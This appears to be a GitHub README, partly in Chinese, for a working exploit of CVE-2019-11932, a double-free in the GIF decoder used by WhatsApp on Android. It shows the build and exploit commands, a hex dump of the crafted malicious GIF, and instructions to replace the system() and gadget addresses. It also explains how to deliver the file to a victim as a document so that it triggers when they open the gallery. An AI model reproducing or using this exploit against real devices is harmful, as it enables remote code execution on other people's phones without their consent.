mranonymoustz/cve-2019-11932-whatsapp-exploitDouble-free vulnerability in DDGifSlurp in decoding.c in libpl_droidsonroids_gif can read more https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/
必须将 system() 和 gadget 的地址替换为通过信息泄露漏洞找到的实际地址。
替换 system() 和 gadget 的地址后，运行代码生成恶意的 GIF 文件：
现在开始吧
root@mranonymousTZ:~/root/Desktop/CVE-2019-11932-whatsap-exploit$ chmod +x build.py
root@mranonymousTZ:~/root/Desktop/CVE-2019-11932-whatsap-exploit$ ./build.py
.....
.....
.....
root@mranonymousTZ:~/root/Desktop/CVE-2019-11932-whatsap-exploit$ ./exploit
buffer = 0x7ffc586cd8b0 size = 266
47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC
FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00
00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08
9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 84 9C 09 B0
C5 07 00 00 00 74 DE E4 11 F3 06 0F 08 37 63 40
C4 C8 21 C3 45 0C 1B 38 5C C8 70 71 43 06 08 1A
34 68 D0 00 C1 07 C4 1C 34 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 54 12 7C C0 C5 07 00 00 00 EE FF FF 2C 00 00
00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00
18 00 0A 00 0F 00 01 00 00 3B
然后将内容复制到一个 GIF 文件中，并通过 WhatsApp 以文档形式发送给另一个 WhatsApp 用户。注意：不能作为媒体文件发送，否则 WhatsApp 会尝试在发送前将其转换为 MP4。当用户接收到恶意的 GIF 文件后，直到该用户打开 WhatsApp 相册发送媒体文件给朋友时，才会触发恶意行为。